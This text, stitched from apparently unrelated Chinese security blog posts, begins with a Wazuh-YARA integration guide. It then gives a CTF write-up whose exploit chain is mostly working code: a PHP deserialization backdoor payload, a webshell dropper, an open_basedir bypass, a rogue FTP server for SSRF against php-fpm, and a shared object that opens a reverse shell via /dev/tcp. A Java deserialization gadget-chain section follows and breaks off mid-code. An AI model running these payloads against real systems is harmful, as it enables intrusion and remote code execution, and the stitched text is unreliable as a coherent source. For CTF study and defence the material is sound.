系统环境全都是CentOS 7.9

我们主要目的是在Wazuh上测试Yara，所以选择最快的部署方式

Manager的部署直接使用官方现有的ova文件导入虚拟机，参考Virtual Machine (OVA)

部署好之后我们直接访问虚拟机的ip地址即可，默认账号密码admin/admin，如果页面没加载出来只显示一行英文，尝试启动wazuh-indexer，systemctl start wazuh-indexer。

登录后在Agent面板有个Deploy new agent按钮，一台agent都没有的显示的直接就是这个界面，在里面选择需要装agent的endpoint的选项，组默认default，然后复制后面的命令到endpoint里执行就可以了。

sudo WAZUH_MANAGER='192.168.88.135' WAZUH_AGENT_GROUP='default' yum install https://packages.wazuh.com/4.x/yum/wazuh-agent-4.3.6-1.x86_64.rpm

这里补充一个agent注册方法，当我们需要在一台已经装了agent的endpoint上重新连接新的manager的时候，可以参考Requesting the key ，使用密钥的方式。

TOKEN=$(curl -u wazuh:wazuh -k -X GET "https://192.168.88.135:55000/security/user/authenticate?raw=true")curl -k -X POST -d '{"name":"k8smaster"}' "https://192.168.88.135:55000/agents?pretty=true" -H "Content-Type:application/json" -H "Authorization: Bearer $TOKEN"

请求后会返回一个Key，我们在endpoint上执行/var/ossec/bin/manage_agents -i <key>

然后再重启agent，systemctl restart wazuh-agent，就可以与manager连接。

Wazuh集成Yara

可以参考官方文档的集成Yara功能

Detecting malware using Yara integration

How to integrate Wazuh with YARA

这里对过程进行简要的记录

EndPoint配置

Yara部署可以参考 Compiling and installing YARA，注意这个仅需要在endpoint上安装即可

我们需要使用jq对wazuh的active-response功能所输出的json进行解析来传入我们的脚本

于是需要在endpoint上安装jq，jq找不到参考 centos7 yum 安装jq，命令如下

wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpmrpm -ivh epel-release-latest-7.noarch.rpmyum repolistyum install jq

我们使用yara官方开源的rule Yara-Rules 来测试yara功能是否能正常使用

yara命令参考：yara /home/yara/rules/index.yar /home/yara/malware/1.txt

测试会报错，显示规则文件中的一些函数不可用，到index.yar文件编辑，只留下webshell的include，其它的都注释掉或者删掉，然后我们添加一条自己的规则（如下），include到index.yar文件中去

rule silent_banker : banker{    meta:        description = "This is just an example"        thread_level = 3        in_the_wild = true    strings:        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"$d = {4D 5A}    condition:        $a or $b or $c or $d}

测试会正常输出检测到的文件，

添加一个yara.sh脚本到/var/ossec/active-response/bin目录下

#!/bin/bash# Wazuh - Yara active response# Copyright (C) 2015-2022, Wazuh Inc.## This program is free software; you can redistribute it# and/or modify it under the terms of the GNU General Public# License (version 2) as published by the FSF - Free Software# Foundation.#------------------------- Gather parameters -------------------------## Static active response parametersLOCAL=`dirname $0`# Extra argumentsread -r INPUT_JSONYARA_PATH=$(echo $INPUT_JSON | jq -r .parameters.extra_args[1])YARA_RULES=$(echo $INPUT_JSON | jq -r .parameters.extra_args[3])FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.syscheck.path)COMMAND=$(echo $INPUT_JSON | jq -r .command)# Move to the active response foldercd $LOCALcd ../# Set LOG_FILE pathPWD=`pwd`LOG_FILE="${PWD}/../logs/active-responses.log"#----------------------- Analyze parameters -----------------------#if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]then  echo "wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory." >> ${LOG_FILE}  exitfi#------------------------ Analyze command -------------------------#if [ ${COMMAND} = "add" ]then  # Send control message to execd  printf '{"version":1,"origin":{"name":"yara","module":"active-response"},"command":"check_keys", "parameters":{"keys":[]}}\n'  read RESPONSE  COMMAND2=$(echo $RESPONSE | jq -r .command)  if [ ${COMMAND2} != "continue" ]  then    echo "wazuh-yara: INFO - Yara active response aborted." >> ${LOG_FILE}    exit 1;  fifi#------------------------- Main workflow --------------------------## Execute Yara scan on the specified filenameyara_output="$("${YARA_PATH}"/yara -w -r "$YARA_RULES" "$FILENAME")"if [[ $yara_output != "" ]]then  # Iterate every detected rule and append it to the LOG_FILE  while read -r line; do  echo "wazuh-yara: INFO - Scan result: $line" >> ${LOG_FILE}  done <<< "$yara_output"fiexit 1;

这个脚本的作用是为了响应active-response所编写的脚本，参考的json读取内容如下，注意这里低版本wazuh没有json输出给脚本文件读取，实测4.1.5无json输出，4.2.5可以

{  "version":1,  "origin":{    "name":"node01",    "module":"wazuh-execd"  },  "command":"add",  "parameters":{    "extra_args":["-yara_path",                  "/usr/local/bin",                  "-yara_rules",                  "/home/yara/rules/index.yar"],    "alert":{      "timestamp":"2022-08-01T07:23:34.120+0000",      "rule":{        "level":7,        "description":"File added to /home/yara/malware/ directory.",        "id":"100301",        "firedtimes":1,        "mail":false,        "groups":["syscheck"]      },      "agent":{        "id":"002",        "name":"k8smaster",        "ip":"192.168.88.136"      },      "manager":{        "name":"wazuh-server"      },      "id":"1659338614.788337",      "full_log":"File '/home/yara/malware/5.txt' added\nMode: whodata\n",      "syscheck":{        "path":"/home/yara/malware/5.txt",        "mode":"whodata",        "size_after":"27",        "perm_after":"rw-r--r--",        "uid_after":"0",        "gid_after":"0",        "md5_after":"b0461abc874bd98d753a54fe83861cad",        "sha1_after":"673d0c5490e051efa2d317f6fb08d26732a91a44",        "sha256_after":"463e92b10416cfd4bfc402d1bf2dbda84f4a74db971dceede3cec07c3e4fef6d",        "uname_after":"root",        "gname_after":"root",        "mtime_after":"2022-08-01T07:23:34",        "inode_after":34679532,        "event":"added",        "audit":{          "user":{            "id":"0",            "name":"root"          },          "process":{            "id":"21354",            "name":"/usr/bin/cp",            "cwd":"/home/yara/malware",            "parent_name":"/usr/bin/bash",            "parent_cwd":"/home/yara/malware",            "ppid":"20631"          },          "group":{            "id":"0",            "name":"root"          },          "login_user":{            "id":"0",            "name":"root"          },          "effective_user":{            "id":"0",            "name":"root"          }        }      },      "decoder":{        "name":"syscheck_new_entry"      },      "location":"syscheck"    },    "program":"active-response/bin/yara.sh"  }}

要想再ossec.log输出如上结果需要在/var/ossec/etc/local_internal_options.conf 中配置execd.debug=2

这个脚本读取json随后将yara分析的结果以某种格式输出到/var/ossec/logs/active-responses.log文件中，参考格式如下

wazuh-yara: INFO - Scan result: silent_banker /home/yara/malware/5.txt

还需要在endpoint中配置一个syscheck以表示需要wazuh监控该目录

<directories whodata="yes">/home/yara/malware</directories>

whodata="yes"配置是否有效可以通过auditctl -l | grep wazuh检查，具体可参考官方Auditing who-data in Linux

每次修改ossec.conf都需要重启wazuh-agent才能生效，systemctl restart wazuh-agent

至此Agent的配置就好了

Manager配置

我们需要在Manager上配置active-response功能以主动响应

在/var/ossec/etc/ossec.conf中添加

<ossec_config>    <localfile>      <log_format>syslog</log_format>      <location>/var/ossec/logs/active-responses.log</location>    </localfile>    <command>        <name>yara</name>        <executable>yara.sh</executable>        <extra_args>-yara_path /usr/local/bin -yara_rules /home/yara/rules/index.yar</extra_args>        <timeout_allowed>no</timeout_allowed>    </command>    <active-response>        <command>yara</command>        <location>local</location>        <rules_id>100300,100301</rules_id>    </active-response></ossec_config>

修改ossec.conf的配置需要重启manager，systemctl restart wazuh-manager

在/var/ossec/etc/rules目录下添加文件yara_rules.xml文件，内容如下

<group name="syscheck,">    <rule id="100300" level="7">        <if_sid>550</if_sid>        <field name="file">/home/yara/malware/</field>        <description>File modified in /home/yara/malware/ directory.</description>    </rule>    <rule id="100301" level="7">        <if_sid>554</if_sid>        <field name="file">/home/yara/malware/</field>        <description>File added to /home/yara/malware/ directory.</description>    </rule></group><group name="yara,">    <rule id="108000" level="0">        <decoded_as>yara_decoder</decoded_as>        <description>Yara grouping rule</description>    </rule>    <rule id="108001" level="12">        <if_sid>108000</if_sid>        <match>wazuh-yara: INFO - Scan result: </match>        <description>File "$(yara_scanned_file)" is a positive match. Yara rule: $(yara_rule)</description>    </rule></group>

在/var/ossec/etc/decoders目录中添加文件yara_decoders.xml，内容如下

<decoder name="yara_decoder">    <prematch>wazuh-yara:</prematch></decoder><decoder name="yara_decoder1">    <parent>yara_decoder</parent>    <regex>wazuh-yara: (\S+) - Scan result: (\S+) (\S+)</regex>    <order>log_type, yara_rule, yara_scanned_file</order></decoder>

流程是，通过监控/home/yara/malware/目录中的文件添加和修改动作，然后触发yara command执行sh脚本，写内容到endpoint的/var/ossec/logs/active-responses.log文件，wazuh监控到log文件的变化，读取后通过yara_decoder解析内容，匹配到后以一个新的rule.group为yara的组显示到Kibana界面上

至此流程拉通

Wazuh还有很多功能需要探索

能把官方文档看明白，wazuh就算入门了

add_api.php

<?phpinclude "user.php";if($user=unserialize($_COOKIE["data"])){$count[++$user->count]=1;if($count[]=1){$user->count+=1;setcookie("data",serialize($user));}else{eval($_GET["backdoor"]);}}else{$user=new User;$user->count=1;setcookie("data",serialize($user));}?>

user.php

<?phpclass User{public $count;}?>

PHP 数组溢出

主要考查反序列化和php数组溢出绕过，关于php数组溢出可以参考：PHP数组的key溢出问题

直接给出payload

?backdoor=file_put_contents("1.php","<?php @eval(\$_POST[1])?>");Cookie: data=O%3a4%3a"User"%3a1%3a{s%3a5%3a"count"%3bi%3a9223372036854775806%3b}

查看phpinfo

disable_classes:Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException    Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumExceptiondisable_functions:stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

可以通过

<?phpprintf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();// normal files$it = new DirectoryIterator("glob:///*");foreach($it as $f) {    $file_list[] = $f->__toString();}// special files (starting with a dot(.))$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){        echo "{$f}<br/>";}

列根目录

限制了open_basedir为 /var/www/html

利用chdir()与ini_set()组合来绕过，当然这个操作首先需要拥有当前目录写权限，或者存在一个可以cd进去的子目录

<?phpmkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/flag"));

读文件

但是并读不到flag文件，估计权限不够

攻击 php-fpm绕disable_functions

读取/proc/self/cmdline，发现当前进程是 php-fpm，读取/etc/nginx/sites-available/default文件

php-fpm 绑定在了本地 9001 端口

于是我们可以构造恶意代码利用ssrf攻击本地的php-fpm，通过在vps上搭建恶意的ftp，骗取目标主机将payload转发到自己的9001端口上，从而执行命令，当然这里直接用curl配合gopher协议也可以直接打，就不需要ftp了，但是好像并打不通

原理如下

通过eval()构造一下代码

file_put_contents($file,$data);

FTP 协议允许通过 TCP 发送二进制数据包，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。

如果我们传入 ?file=ftp://evil-server/file.txt&data=payload ，会发生以下情况：

首先通过 file_put_contents() 函数连接到我们的FTP服务器，并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。

写一个so扩展

#include <stdlib.h>#include <stdio.h>#include <string.h>__attribute__ ((__constructor__)) void preload (void){    system("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'");}

编译

gcc a.c -fPIC -shared -o a.so

上传到服务器

base64_encode(file_get_contents('a.so'));

获取到so文件，base64编码后的内容

file_put_contents('a.so',base64_decode('xxx'));

使用刚才的1.php将a.so文件写到服务器；

也可以这样写，直接从vps下载

add_api.php?backdoor=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://ip/a.so'

在自己vps搭一个恶意的ftp服务器，使用的是 FTP 协议的被动模式

ftp_server.py

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 123))s.listen(1)conn, addr = s.accept()conn.send(b'220 welcome\n')conn.send(b'331 Please specify the password.\n')conn.send(b'230 Login successful.\n')conn.send(b'200 Switching to Binary mode.\n')conn.send(b'550 Could not get the file size.\n')conn.send(b'150 ok\n')conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)conn.send(b'150 Permission denied.\n')conn.send(b'221 Goodbye.\n')conn.close()

使用以下脚本生成攻击 php-fpm的 payload，https://php.okawhio.repl.co/static/2.py

<?php/** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. *//** * Handles communication with a FastCGI application * * @author      Pierrick Charron <pierrick@webstart.fr> * @version     1.0 */class FCGIClient{    const VERSION_1            = 1;    const BEGIN_REQUEST        = 1;    const ABORT_REQUEST        = 2;    const END_REQUEST          = 3;    const PARAMS               = 4;    const STDIN                = 5;    const STDOUT               = 6;    const STDERR               = 7;    const DATA                 = 8;    const GET_VALUES           = 9;    const GET_VALUES_RESULT    = 10;    const UNKNOWN_TYPE         = 11;    const MAXTYPE              = self::UNKNOWN_TYPE;    const RESPONDER            = 1;    const AUTHORIZER           = 2;    const FILTER               = 3;    const REQUEST_COMPLETE     = 0;    const CANT_MPX_CONN        = 1;    const OVERLOADED           = 2;    const UNKNOWN_ROLE         = 3;    const MAX_CONNS            = 'MAX_CONNS';    const MAX_REQS             = 'MAX_REQS';    const MPXS_CONNS           = 'MPXS_CONNS';    const HEADER_LEN           = 8;    /**     * Socket     * @var Resource     */    private $_sock = null;    /**     * Host     * @var String     */    private $_host = null;    /**     * Port     * @var Integer     */    private $_port = null;    /**     * Keep Alive     * @var Boolean     */    private $_keepAlive = false;    /**     * Constructor     *     * @param String $host Host of the FastCGI application     * @param Integer $port Port of the FastCGI application     */    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket    {        $this->_host = $host;        $this->_port = $port;    }    /**     * Define whether or not the FastCGI application should keep the connection     * alive at the end of a request     *     * @param Boolean $b true if the connection should stay alive, false otherwise     */    public function setKeepAlive($b)    {        $this->_keepAlive = (boolean)$b;        if (!$this->_keepAlive && $this->_sock) {            fclose($this->_sock);        }    }    /**     * Get the keep alive status     *     * @return Boolean true if the connection should stay alive, false otherwise     */    public function getKeepAlive()    {        return $this->_keepAlive;    }    /**     * Create a connection to the FastCGI application     */    private function connect()    {        if (!$this->_sock) {            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);            if (!$this->_sock) {                throw new Exception('Unable to connect to FastCGI application');            }        }    }    /**     * Build a FastCGI packet     *     * @param Integer $type Type of the packet     * @param String $content Content of the packet     * @param Integer $requestId RequestId     */    private function buildPacket($type, $content, $requestId = 1)    {        $clen = strlen($content);        return chr(self::VERSION_1)         /* version */            . chr($type)                    /* type */            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */            . chr($requestId & 0xFF)        /* requestIdB0 */            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */            . chr($clen & 0xFF)             /* contentLengthB0 */            . chr(0)                        /* paddingLength */            . chr(0)                        /* reserved */            . $content;                     /* content */    }    /**     * Build an FastCGI Name value pair     *     * @param String $name Name     * @param String $value Value     * @return String FastCGI Name value pair     */    private function buildNvpair($name, $value)    {        $nlen = strlen($name);        $vlen = strlen($value);        if ($nlen < 128) {            /* nameLengthB0 */            $nvpair = chr($nlen);        } else {            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);        }        if ($vlen < 128) {            /* valueLengthB0 */            $nvpair .= chr($vlen);        } else {            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);        }        /* nameData & valueData */        return $nvpair . $name . $value;    }    /**     * Read a set of FastCGI Name value pairs     *     * @param String $data Data containing the set of FastCGI NVPair     * @return array of NVPair     */    private function readNvpair($data, $length = null)    {        $array = array();        if ($length === null) {            $length = strlen($data);        }        $p = 0;        while ($p != $length) {            $nlen = ord($data{$p++});            if ($nlen >= 128) {                $nlen = ($nlen & 0x7F << 24);                $nlen |= (ord($data{$p++}) << 16);                $nlen |= (ord($data{$p++}) << 8);                $nlen |= (ord($data{$p++}));            }            $vlen = ord($data{$p++});            if ($vlen >= 128) {                $vlen = ($nlen & 0x7F << 24);                $vlen |= (ord($data{$p++}) << 16);                $vlen |= (ord($data{$p++}) << 8);                $vlen |= (ord($data{$p++}));            }            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);            $p += ($nlen + $vlen);        }        return $array;    }    /**     * Decode a FastCGI Packet     *     * @param String $data String containing all the packet     * @return array     */    private function decodePacketHeader($data)    {        $ret = array();        $ret['version']       = ord($data{0});        $ret['type']          = ord($data{1});        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});        $ret['paddingLength'] = ord($data{6});        $ret['reserved']      = ord($data{7});        return $ret;    }    /**     * Read a FastCGI Packet     *     * @return array     */    private function readPacket()    {        if ($packet = fread($this->_sock, self::HEADER_LEN)) {            $resp = $this->decodePacketHeader($packet);            $resp['content'] = '';            if ($resp['contentLength']) {                $len  = $resp['contentLength'];                while ($len && $buf=fread($this->_sock, $len)) {                    $len -= strlen($buf);                    $resp['content'] .= $buf;                }            }            if ($resp['paddingLength']) {                $buf=fread($this->_sock, $resp['paddingLength']);            }            return $resp;        } else {            return false;        }    }    /**     * Get Informations on the FastCGI application     *     * @param array $requestedInfo information to retrieve     * @return array     */    public function getValues(array $requestedInfo)    {        $this->connect();        $request = '';        foreach ($requestedInfo as $info) {            $request .= $this->buildNvpair($info, '');        }        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));        $resp = $this->readPacket();        if ($resp['type'] == self::GET_VALUES_RESULT) {            return $this->readNvpair($resp['content'], $resp['length']);        } else {            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');        }    }    /**     * Execute a request to the FastCGI application     *     * @param array $params Array of parameters     * @param String $stdin Content     * @return String     */    public function request(array $params, $stdin)    {        $response = '';//        $this->connect();        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));        $paramsRequest = '';        foreach ($params as $key => $value) {            $paramsRequest .= $this->buildNvpair($key, $value);        }        if ($paramsRequest) {            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);        }        $request .= $this->buildPacket(self::PARAMS, '');        if ($stdin) {            $request .= $this->buildPacket(self::STDIN, $stdin);        }        $request .= $this->buildPacket(self::STDIN, '');        echo('data='.urlencode($request));//        fwrite($this->_sock, $request);//        do {//            $resp = $this->readPacket();//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {//                $response .= $resp['content'];//            }//        } while ($resp && $resp['type'] != self::END_REQUEST);//        var_dump($resp);//        if (!is_array($resp)) {//            throw new Exception('Bad request');//        }//        switch (ord($resp['content']{4})) {//            case self::CANT_MPX_CONN://                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');//                break;//            case self::OVERLOADED://                throw new Exception('New request rejected; too busy [OVERLOADED]');//                break;//            case self::UNKNOWN_ROLE://                throw new Exception('Role value not known [UNKNOWN_ROLE]');//                break;//            case self::REQUEST_COMPLETE://                return $response;//        }    }}?><?php// real exploit start here//if (!isset($_REQUEST['cmd'])) {//    die("Check your input\n");//}//if (!isset($_REQUEST['filepath'])) {//    $filepath = __FILE__;//}else{//    $filepath = $_REQUEST['filepath'];//}$filepath = "/var/www/html/add_api.php";$req = '/'.basename($filepath);$uri = $req .'?'.'command=whoami';$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = a.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";$params = array(    'GATEWAY_INTERFACE' => 'FastCGI/1.0',    'REQUEST_METHOD'    => 'POST',    'SCRIPT_FILENAME'   => $filepath,    'SCRIPT_NAME'       => $req,    'QUERY_STRING'      => 'command=whoami',    'REQUEST_URI'       => $uri,    'DOCUMENT_URI'      => $req,#'DOCUMENT_ROOT'     => '/',    'PHP_VALUE'         => $php_value,    'SERVER_SOFTWARE'   => '80sec/wofeiwo',    'REMOTE_ADDR'       => '127.0.0.1',    'REMOTE_PORT'       => '9001',    'SERVER_ADDR'       => '127.0.0.1',    'SERVER_PORT'       => '80',    'SERVER_NAME'       => 'localhost',    'SERVER_PROTOCOL'   => 'HTTP/1.1',    'CONTENT_LENGTH'    => strlen($code));echo $client->request($params, $code)."\n";?>

data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

构造file_put_contents()与我们 vps 上恶意的 ftp 服务器建立连接

backdoor=$file%20=%20$_GET['file'];$data%20=%20$_GET['data'];file_put_contents($file,$data);&file=ftp://ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

发包，vps监听2333端口拿到shell

无权限读取flag

suid提权

find / -perm -u=s -type f 2>/dev/null

php有suid，进入交互模式执行代码，得到flag

参考

hxp CTF resonator Writeup - SSRF via file_put_contents

通过一道CTF题学习php-fpm攻击

蓝帽杯_one_Pointer_php

[2021 蓝帽杯]one_Pointer_php赛后复盘

本篇主要记录利用链代码，以及自己的一些简单理解，非漏洞原理

未做说明的情况下，测试环境均为Windows10+jdk1.8.0_221+IDEA2019.3

URLDNS

起一个tomcat，版本为8.5.57

servlet代码如下，web.xml自行配置

import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.ObjectInputStream;import java.io.PrintWriter;import java.util.HashMap;import java.net.URL;public class DemoServlet extends HttpServlet {    @Override    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        ServletInputStream sis = req.getInputStream();        ObjectInputStream ois = new ObjectInputStream(sis);        try{            ois.readObject();        }catch (ClassNotFoundException e){            e.printStackTrace();        }        ois.close();    }    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        PrintWriter out = resp.getWriter();        out.println("this is a demo");    }}

使用ysoserial生成payload，项目地址：https://github.com/frohoff/ysoserial

在IDEA把运行/调试配置的程序参数设置为URLDNS "http://hnhnxq.dnslog.cn"

然后在Serializer.java中加入以下代码

try {    FileOutputStream fileOut = new FileOutputStream("./payload.ser");    ObjectOutputStream ot = new ObjectOutputStream(fileOut);    ot.writeObject(obj);    ot.close();}catch(IOException i) {    i.printStackTrace();}

如下图

目的是将反序列化后的数据保存为payload.ser文件

使用curl发包：curl http://localhost:8088/demo --data-binary @payload.ser

参数解释：--data-binary key=value

• HTTP POST请求中的数据为纯二进制数据
• value如果是@file_name，则保留文件中的回车符和换行符，不做任何转换

dnslog收到请求记录

这条链一般用来探测是否存在反序列化漏洞，好处是未依赖任何的第三方包，而且并不会影响测试的业务程序

CommonCollections1

ChainedTransformer这条链原理不再赘述，主要依赖sun.reflect.annotation.AnnotationInvocationHandler这个类来触发反序列化，然后通过Map来触发transform的调用

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import sun.reflect.annotation.AnnotationType;public class CommonCollections1 {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),                new ConstantTransformer(1),        };        CC_LazyMap(transformers);    }    public static void CC_TransformedMap(Transformer[] transformers) throws Exception {        /*            Gadget chain:                ObjectInputStream.readObject()                    AnnotationInvocationHandler.readObject()                        entry.setValue()                            TransformedMap.checkSetValue()                                ChainedTransformer.transform()                                    ConstantTransformer.transform()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Class.getMethod()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Runtime.getRuntime()                                    InvokerTransformer.transform()                                        Method.invoke()                                            Runtime.exec()            Requires:                commons-collections         */        // java8后无法使用，AnnotationInvocationHandler被改写        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        innerMap.put("value", "xxxx");        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);        Class 